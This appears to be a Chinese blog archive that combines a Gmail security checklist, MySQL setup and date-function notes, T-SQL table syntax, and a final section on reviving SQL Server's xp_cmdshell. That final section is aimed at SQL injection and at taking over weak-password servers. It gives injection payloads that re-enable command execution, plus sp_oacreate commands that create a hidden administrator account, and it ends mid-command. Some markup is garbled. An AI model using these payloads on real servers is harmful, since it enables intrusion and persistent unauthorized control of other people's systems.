标签归档:DataBase

5个方法确定你的Gmail是否被中国政府入侵

原始来源:http://www.chinagfw.org/2010/10/gmail_08.html

编辑说明:想确定你的Gmail是否安全?请访问:http://mail.google.com/support/bin/static.py?page=checklist.cs&tab=29488

Gmail的支持页面里更新了一篇安全清单,通过以下5个方法即可知道自己的Gmail是否有安全隐患。敏感词人士必读:

  1. 在这里查看授权获取Google帐户数据的网站。我自认为自己的安全功夫做的很到家,但在这里依然发现了1个奇怪的网站获得了Google帐户的访问权,赶紧ban掉
  2. 检查你浏览器的插件、扩展和第三方应用是否需要访问你的Google帐户。比如你安装了一个可检查Gmail新邮件的扩展,那么Google是无法控制这个扩展的安全性的,如果你安装了并不知名的扩展,需要小心了
  3. 查看邮件设置,以确保你的Gmail邮件没有被转发出去,有四个地方的设置会有安全隐患:
    • 常规:检查签名、外出回复
    • 帐户:检查’用这个地址发送邮件’、
    • 过滤器:检查是否有过滤器将你的邮件转发到垃圾箱、垃圾邮件,或是转发到其它邮箱里
    • 转发和POP/IMAP:查看这里是否有位置的帐户或邮件客户端
  4. 检查帐户最近的可疑活动。点击Gmail最下面的’上次帐户活动时间’后的’详细信息’链接,看看是否有可疑的IP访问了你的Gmail
  5. 进入设置的’常规‘里,将’浏览器连接’设置为’始终使用 https’,以确保当你使用咖啡厅或酒店的公众网络访问邮箱时不会泄露信息。

原文:
Gmail’s support site has a security checklist
that’s useful if you want to make sure that your Gmail account is
secure. There are some obvious tips like updating your operating system
and your browser, but Google also posted some advanced tricks:

1. ‘Check the list of websites that are authorized to access your Google Account data.
Make sure that the list of authorized websites are accurate and ones
that you have chosen. If your Google Account has been compromised
recently, it’s possible that the bad guys could have authorized their
own websites to access your account data.’ To edit the list of
authorized websites, go to this page.

2. ‘Check
your browser for plug-ins, extensions, and third-party programs/tools
that require access to your Google Account credentials.
Plug-ins
and extensions are downloadable computer programs that work with your
browser to perform specific tasks. For example, you may have downloaded a
plug-in or extension that checks your Gmail inbox for new messages.
Google can’t guarantee the security of these third party services. If
those services are compromised, so is your Gmail password.’

3.
‘Confirm the accuracy of your mail settings to ensure that your mail
stays and goes where you want it to. Sign in to your account and click
on the Settings link at the top to check the following tabs:

* General: Check Signature, Vacation Responder, and/or canned responses for spammy content
* Accounts: Verify your Send Mail As, Get mail from other accounts, and Grant access to your account are all accurate.
* Filters: Check that no filters are sending your mail to Trash, Spam, or forwarding to an unknown account.
* Forwarding and POP/IMAP: Ensure your mail isn’t sent to an unknown account or mail client.’

4. ‘Check for any strange recent activity on your account.
Click the Details link next to the ‘Last Account Activity’ entry at the
bottom of your account to see the time, date, IP address and the
associated location of recent access to your account.’

5. ‘Use a secure connection to sign in.
In your Gmail settings, select ‘Always use HTTPS.’ This setting
protects your information from being stolen when you’re signing in to
Gmail on a public wireless network, like at a cafe or hotel.’

安装mysql

系统自动下载和安装Mysql的
yum -y install mysql-server

在服务清单中添加mysql服务
chkconfig �add mysqld

服务启动
service mysqld start

更改密码
mysqladmin -u root password ‘newpassword’

登录mysql
mysql -u root -p

删除test数据库
mysql> DROP DATABASE test;

删除匿名帐户
mysql> DELETE FROM mysql.user WHERE user = “;

重载权限
mysql> FLUSH PRIVILEGES;

添加mysql用户:
GRANT ALL PRIVILEGES ON my_db.* TO ‘user’@’localhost’ IDENTIFIED BY ‘password’;

Mysql日期和时间函数不求人

对于每个类型拥有的值范围以及并且指定日期何时间值的有效格式的描述见7.3.6 日期和时间类型。

这里是一个使用日期函数的例子。下面的查询选择了所有记录,其date_col的值是在最后30天以内:

mysql> SELECT something FROM table
WHERE TO_DAYS(NOW()) – TO_DAYS(date_col) <= 30;

DAYOFWEEK(date)
返回日期date的星期索引(1=星期天,2=星期一, ……7=星期六)。这些索引值对应于ODBC标准。
mysql> select DAYOFWEEK(‘1998-02-03’);
-> 3

WEEKDAY(date)
返回date的星期索引(0=星期一,1=星期二, ……6= 星期天)。
mysql> select WEEKDAY(‘1997-10-04 22:23:00’);
-> 5
mysql> select WEEKDAY(‘1997-11-05’);
-> 2

DAYOFMONTH(date)
返回date的月份中日期,在1到31范围内。
mysql> select DAYOFMONTH(‘1998-02-03’);
-> 3

DAYOFYEAR(date)
返回date在一年中的日数, 在1到366范围内。
mysql> select DAYOFYEAR(‘1998-02-03’);
-> 34

MONTH(date)
返回date的月份,范围1到12。
mysql> select MONTH(‘1998-02-03’);
-> 2

DAYNAME(date)
返回date的星期名字。
mysql> select DAYNAME(“1998-02-05”);
-> ‘Thursday’

MONTHNAME(date)
返回date的月份名字。
mysql> select MONTHNAME(“1998-02-05″);
-> ‘February’

QUARTER(date)
返回date一年中的季度,范围1到4。
mysql> select QUARTER(’98-04-01′);
-> 2

WEEK(date)

WEEK(date,first)
对于星期天是一周的第一天的地方,有一个单个参数,返回date的周数,范围在0到52。2个参数形式WEEK()允许
你指定星期是否开始于星期天或星期一。如果第二个参数是0,星期从星期天开始,如果第二个参数是1,
从星期一开始。
mysql> select WEEK(‘1998-02-20’);
-> 7
mysql> select WEEK(‘1998-02-20’,0);
-> 7
mysql> select WEEK(‘1998-02-20′,1);
-> 8

YEAR(date)
返回date的年份,范围在1000到9999。
mysql> select YEAR(’98-02-03′);
-> 1998

HOUR(time)
返回time的小时,范围是0到23。
mysql> select HOUR(’10:05:03′);
-> 10

MINUTE(time)
返回time的分钟,范围是0到59。
mysql> select MINUTE(’98-02-03 10:05:03′);
-> 5

SECOND(time)
回来time的秒数,范围是0到59。
mysql> select SECOND(’10:05:03’);
-> 3

PERIOD_ADD(P,N)
增加N个月到阶段P(以格式YYMM或YYYYMM)。以格式 YYYYMM返回值。注意阶段参数P不是日期值。
mysql> select PERIOD_ADD(9801,2);
-> 199803

PERIOD_DIFF(P1,P2)
返回在时期P1和P2之间月数,P1和P2应该以格式YYMM或YYYYMM。注意,时期参数P1和P2不是日期值。
mysql> select PERIOD_DIFF(9802,199703);
-> 11

DATE_ADD(date,INTERVAL expr type)

DATE_SUB(date,INTERVAL expr type)

ADDDATE(date,INTERVAL expr type)

SUBDATE(date,INTERVAL expr type)
这些功能执行日期运算。对于MySQL 3.22,他们是新的。ADDDATE()和SUBDATE()是DATE_ADD()和 DATE_SUB()的同义词。
在MySQL 3.23中,你可以使用+和-而不是DATE_ADD()和DATE_SUB()。(见例子)date是一个指定开始日期的
DATETIME或DATE值,expr是指定加到开始日期或从开始日期减去的间隔值一个表达式,expr是一个字符串;它可以以
一个”-“开始表示负间隔。type是一个关键词,指明表达式应该如何被解释。 EXTRACT(type FROM date)函数从日期
中返回”type”间隔。下表显示了type和expr参数怎样被关联: type 值 含义 期望的expr格式
SECOND 秒 SECONDS
MINUTE 分钟 MINUTES
HOUR 时间 HOURS
DAY 天 DAYS
MONTH 月 MONTHS
YEAR 年 YEARS
MINUTE_SECOND 分钟和秒 “MINUTES:SECONDS”
HOUR_MINUTE 小时和分钟 “HOURS:MINUTES”
DAY_HOUR 天和小时 “DAYS HOURS”
YEAR_MONTH 年和月 “YEARS-MONTHS”
HOUR_SECOND 小时, 分钟, “HOURS:MINUTES:SECONDS”
DAY_MINUTE 天, 小时, 分钟 “DAYS HOURS:MINUTES”
DAY_SECOND 天, 小时, 分钟, 秒 “DAYS HOURS:MINUTES:SECONDS”

MySQL在expr格式中允许任何标点分隔符。表示显示的是建议的分隔符。如果date参数是一个DATE值并且你的计算仅仅
包含YEAR、MONTH和DAY部分(即,没有时间部分),结果是一个 DATE值。否则结果是一个DATETIME值。

mysql> SELECT “1997-12-31 23:59:59” + INTERVAL 1 SECOND;
-> 1998-01-01 00:00:00
mysql> SELECT INTERVAL 1 DAY + “1997-12-31”;
-> 1998-01-01
mysql> SELECT “1998-01-01” – INTERVAL 1 SECOND;
-> 1997-12-31 23:59:59
mysql> SELECT DATE_ADD(“1997-12-31 23:59:59”,
INTERVAL 1 SECOND);
-> 1998-01-01 00:00:00
mysql> SELECT DATE_ADD(“1997-12-31 23:59:59”,
INTERVAL 1 DAY);
-> 1998-01-01 23:59:59
mysql> SELECT DATE_ADD(“1997-12-31 23:59:59”,
INTERVAL “1:1” MINUTE_SECOND);
-> 1998-01-01 00:01:00
mysql> SELECT DATE_SUB(“1998-01-01 00:00:00”,
INTERVAL “1 1:1:1” DAY_SECOND);
-> 1997-12-30 22:58:59
mysql> SELECT DATE_ADD(“1998-01-01 00:00:00”,
INTERVAL “-1 10” DAY_HOUR);
-> 1997-12-30 14:00:00
mysql> SELECT DATE_SUB(“1998-01-02”, INTERVAL 31 DAY);
-> 1997-12-02
mysql> SELECT EXTRACT(YEAR FROM “1999-07-02”);
-> 1999
mysql> SELECT EXTRACT(YEAR_MONTH FROM “1999-07-02 01:02:03”);
-> 199907
mysql> SELECT EXTRACT(DAY_MINUTE FROM “1999-07-02 01:02:03″);
-> 20102

如果你指定太短的间隔值(不包括type关键词期望的间隔部分),MySQL假设你省掉了间隔值的最左面部分。例如,
如果你指定一个type是DAY_SECOND,值expr被希望有天、小时、分钟和秒部分。如果你象”1:10″这样指定值,
MySQL假设日子和小时部分是丢失的并且值代表分钟和秒。换句话说,”1:10″ DAY_SECOND以它等价于”1:10” MINUTE_SECOND
的方式解释,这对那MySQL解释TIME值表示经过的时间而非作为一天的时间的方式有二义性。如果你使用确实不正确的日期,
结果是NULL。如果你增加MONTH、YEAR_MONTH或YEAR并且结果日期大于新月份的最大值天数,日子在新月用最大的天调整。

mysql> select DATE_ADD(‘1998-01-30’, Interval 1 month);
-> 1998-02-28

注意,从前面的例子中词INTERVAL和type关键词不是区分大小写的。
TO_DAYS(date)
给出一个日期date,返回一个天数(从0年的天数)。
mysql> select TO_DAYS(950501);
-> 728779
mysql> select TO_DAYS(‘1997-10-07’);
-> 729669

TO_DAYS() 不打算用于使用格列高里历(1582)出现前的值。

FROM_DAYS(N)
给出一个天数N,返回一个DATE值。
mysql> select FROM_DAYS(729669);
-> ‘1997-10-07’

TO_DAYS()不打算用于使用格列高里历(1582)出现前的值。

DATE_FORMAT(date,format)
根据format字符串格式化date值。下列修饰符可以被用在format字符串中: %M 月名字 (January……December)
%W 星期名字(Sunday……Saturday)
%D 有英语前缀的月份的日期 (1st, 2nd, 3rd, 等等。)
%Y 年, 数字, 4 位
%y 年, 数字, 2 位
%a 缩写的星期名字(Sun……Sat)
%d 月份中的天数, 数字(00……31)
%e 月份中的天数, 数字(0……31)
%m 月, 数字(01……12)
%c 月, 数字(1……12)
%b 缩写的月份名字(Jan……Dec)
%j 一年中的天数 (001……366)
%H 小时(00……23)
%k 小时(0……23)
%h 小时(01……12)
%I 小时(01……12)
%l 小时(1……12)
%i 分钟, 数字(00……59)
%r 时间,12 小时 (hh:mm:ss [AP]M)
%T 时间,24 小时(hh:mm:ss)

%S 秒(00……59)
%s 秒 (00……59)
%p AM或PM
%w 一个星期中的天数(0=Sunday ……6=Saturday )
%U 星期(0……52), 这里星期天是星期的第一天
%u 星期(0……52), 这里星期一是星期的第一天
%% 一个文字”%”。

所有的其他字符不做解释被复制到结果中。

mysql> select DATE_FORMAT(‘1997-10-04 22:23:00’, ‘%W %M %Y’);
-> ‘Saturday October 1997’
mysql> select DATE_FORMAT(‘1997-10-04 22:23:00’, ‘%H:%i:%s’);
-> ’22:23:00′
mysql> select DATE_FORMAT(‘1997-10-04 22:23:00’,
‘%D %y %a %d %m %b %j’);
-> ‘4th 97 Sat 04 10 Oct 277’
mysql> select DATE_FORMAT(‘1997-10-04 22:23:00’,
‘%H %k %I %r %T %S %w’);
-> ’22 22 10 10:23:00 PM 22:23:00 00 6′
MySQL3.23中,在格式修饰符字符前需要%。在MySQL更早的版本中,%是可选的。

TIME_FORMAT(time,format)
这象上面的DATE_FORMAT()函数一样使用,但是format字符串只能包含处理小时、分钟和秒的那些格式修饰符。
其他修饰符产生一个NULL值或0。
CURDATE()

CURRENT_DATE
以’YYYY-MM-DD’ 或YYYYMMDD格式返回今天日期值,取决于函数是在一个字符串还是数字上下文被使用。
mysql> select CURDATE();
-> ‘1997-12-15′
mysql> select CURDATE() + 0;
-> 19971215

CURTIME()

CURRENT_TIME
以’HH:MM:SS’或HHMMSS格式返回当前时间值,取决于函数是在一个字符串还是在数字的上下文被使用。
mysql> select CURTIME();
-> ’23:50:26’
mysql> select CURTIME() + 0;
-> 235026

NOW()

SYSDATE()

CURRENT_TIMESTAMP
以’YYYY-MM- DD HH:MM:SS’或YYYYMMDDHHMMSS格式返回当前的日期和时间,取决于函数是在一个字符串还是在数字的
上下文被使用。
mysql> select NOW();
-> ‘1997-12-15 23:50:26′
mysql> select NOW() + 0;
-> 19971215235026

UNIX_TIMESTAMP()

UNIX_TIMESTAMP(date)
如果没有参数调用,返回一个Unix时间戳记(从’1970-01-01 00:00:00’GMT开始的秒数)。如果UNIX_TIMESTAMP()用一
个 date参数被调用,它返回从’1970-01-01 00:00:00’ GMT开始的秒数值。date可以是一个DATE字符串、一个 DATETIME
字符串、一个TIMESTAMP或以YYMMDD或YYYYMMDD格式的本地时间的一个数字。
mysql> select UNIX_TIMESTAMP();
-> 882226357
mysql> select UNIX_TIMESTAMP(‘1997-10-04 22:23:00’);
-> 875996580

当UNIX_TIMESTAMP被用于一个TIMESTAMP列,函数将直接接受值,没有隐含的”string-to-unix-timestamp”变换。

FROM_UNIXTIME(unix_timestamp)
以’YYYY-MM-DD HH:MM:SS’或YYYYMMDDHHMMSS格式返回unix_timestamp参数所表示的值,取决于函数是在一个字符串
还是或数字上下文中被使用。
mysql> select FROM_UNIXTIME(875996580);
-> ‘1997-10-04 22:23:00’
mysql> select FROM_UNIXTIME(875996580) + 0;
-> 19971004222300

FROM_UNIXTIME(unix_timestamp,format)
返回表示 Unix 时间标记的一个字符串,根据format字符串格式化。format可以包含与DATE_FORMAT()函数列出的条
目同样的修饰符。
mysql> select FROM_UNIXTIME(UNIX_TIMESTAMP(),
‘%Y %D %M %h:%i:%s %x’);
-> ‘1997 23rd December 03:43:30 x’

SEC_TO_TIME(seconds)
返回seconds参数,变换成小时、分钟和秒,值以’HH:MM:SS’或HHMMSS格式化,取决于函数是在一个字符串还是在数字
上下文中被使用。
mysql> select SEC_TO_TIME(2378);
-> ’00:39:38′
mysql> select SEC_TO_TIME(2378) + 0;
-> 3938

TIME_TO_SEC(time)
返回time参数,转换成秒。
mysql> select TIME_TO_SEC(’22:23:00′);
-> 80580
mysql> select TIME_TO_SEC(’00:39:38′);
-> 2378

T-SQL 创建表

在一个SQL Server数据库中,可以创建多达两万亿个表

输入一条Create Table 语句 指定下列内容

1.包含表的数据库

2.表的所有者

3.表名,在同一个数据库中和同一个所有者下,改表名必须与任何其他基表或视图不同

4.指定11024个列

5.主键约束(可选)

6.1250Uniquer约束(可选)

7.1253个外键约束(可选)

8.1个或者多个Check约束 ,限制插入表中的数据(可选)

9.存储表的文件组(可选)

创建表*/
use databaseName
go
create Table tbName
(
tb_id
int Not Null check(tb_id>0),
UserName
varchar(50) NOT NULL CHECK(UserName<>) ,
Sex
int not Null Default 1 ,
price
Money NOT NULL CHECK((price is NULL ) OR (price>=0)),
constraint tbPriKey Primary Key (tb_id)
)

–修改表–
1.新增字段-
Alter Table tbName
add tbNewColumn int Null
在为原来的表添加一条字段的时候需要注意的是 不允许指定该列为【 NOT NULL 】*/

-2.删除字段——
Alter Table tbName drop column tbNewColumn

-3.修改字段—
Alter Table tbName Alter column tbNewColumn char(30) null

–4.新建约束——-
ALTER Table tbName ADD constraint tbNewRestrain check
yle=”color:rgb(0,0,0);”>(tb_id
>0)

—5.删除约束———
Alter Table tbName Drop constraint tbNewRestrain

—–6.新建默认值——–
Alter Table tbName Add constraint tbNewDefault Default 10 for tb_id

—–7.删除默认值———-
Alter Table tbName drop constraint tbNewDefault

select * from tbName

2.表约束

在我们创建表的时候,可以有选择的制定四种类型的约束:

1.主键

2.唯一性

3.外键

4.检查

create table student
(
s_id
int identity(1,1) primary key,
s_name
varchar(20) not null,
s_age
int
)

create table test
(
test_no
int identity(1,1) primary key,
test_name
varchar(30),
nax_marks
int not null default(0),
min_marks
int not null default(0)
)
create table marks
(
s_id
int not null,
test_no
int not null,
marks
int not null default(0),
primary key(s_id,test_no),
foreign key(s_id) references student(s_id),
foreign key(test_no)
yle=”color:rgb(0,0,255);”>references
test(test_no)
)

3. 索引以及视图的创建

—–视图的建立——-
create view  视图名
(
字段1,
字段2,
..
)
as select a.字段1 ,a.字段2,.. from tableName as a where

——索引的创建——–
create index indexName
on TableName
(字段1,字段2,字段3)

恢复xp_cmdshell SQL Server阻止了对组件 ‘xp_cmdshell’ 的过程’sys.xp_cmdshell’ 启用

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用
‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的
“外围应用配置器”。

SQL2005 在默认的设置中是删除了 XP_CMDSHELL的,因此也在注射过程中产生了点困难。后来经过查看MSSQL2005的手册才知道情况原来如此:
用下面一句话就可以了解决了。
;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;–
关闭一样.只是将上面的后面的那个”1″改成”0″就可以了.
;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 0;RECONFIGURE;–

如果cmdshell还不行的话,就再运行:
;dbcc addextendedproc(“xp_cmdshell”,”xplog70.dll”);–
或者
;sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
来恢复cmdshell。

盐城网络公司

1433SQL入侵恢复xp_cmdshell方法总结

sql server 2005下开启xp_cmdshell的办法

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC
sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

SQL2005开启’OPENROWSET’支持的方法:

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec
sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;

SQL2005开启’sp_oacreate’支持的方法:

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec
sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;

突破SA的各种困难
常见情况恢复执行xp_cmdshell
1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user
dell huxifeng007 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net
localgroup administrators dell /add’

xp或2003server系统:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user
dell huxifeng007 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec
sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net
localgroup administrators dell /add’

————–
xp_cmdshell新的恢复办法
删除

drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’

恢复

dbcc addextendedproc (“sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (“xp_cmdshell”,”xplog70.dll”)

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

—————————–

删除扩展存储过过程xp_cmdshell的语句:

exec sp_dropextendedproc ‘xp_cmdshell’

恢复cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在

select count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’

返回结果为1就ok

恢复xp_cmdshell

exec master.dbo.addextendedproc ‘xp_cmdshell’,’xplog70.dll’;select
count(*) from master.dbo.sysobjects where xtype=’x’ and
name=’xp_cmdshell’

返回结果为1就ok

否则上传xplog7.0.dll

exec master.dbo.addextendedproc ‘xp_cmdshell’,’c:\winnt\system32\xplog70.dll’

堵上cmdshell的sql语句

sp_dropextendedproc “xp_cmdshell

—————-
删除sql危险存储:

DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

–不狐 附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:

SQL代码:

create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),– (owner.)name of function to call */
@dllname varchar(255)– name of DLL containing function */ as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO

再恢复以上所有扩展存储过程

SQL代码:

use master
exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’
exec sp_addextendedproc xp_dirtree,’xpstar.dll’
exec sp_addextendedproc xp_enumgroups,’xplog70.dll’
exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’
exec sp_addextendedproc xp_loginconfig,’xplog70.dll’
exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’
exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’
exec sp_addextendedproc sp_OACreate,’odsole70.dll’
exec sp_addextendedproc sp_OADestroy,’odsole70.dll’
exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’
exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’
exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’
exec sp_addextendedproc sp_OAStop,’odsole70.dll’
exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’
exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’
exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’
exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’
r>exec sp_addextendedproc xp_regread,’xpstar.dll’
exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’
exec sp_addextendedproc xp_regwrite,’xpstar.dll’
exec sp_addextendedproc xp_availablemedia,’xpstar.dll’

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’
的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用
‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的
“外围应用配置器”。

经常扫SQL弱口令肉鸡的朋友应该遇见过这样的问题 !
接下来我们用SQL语句搞定他

分析器执行的语句:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp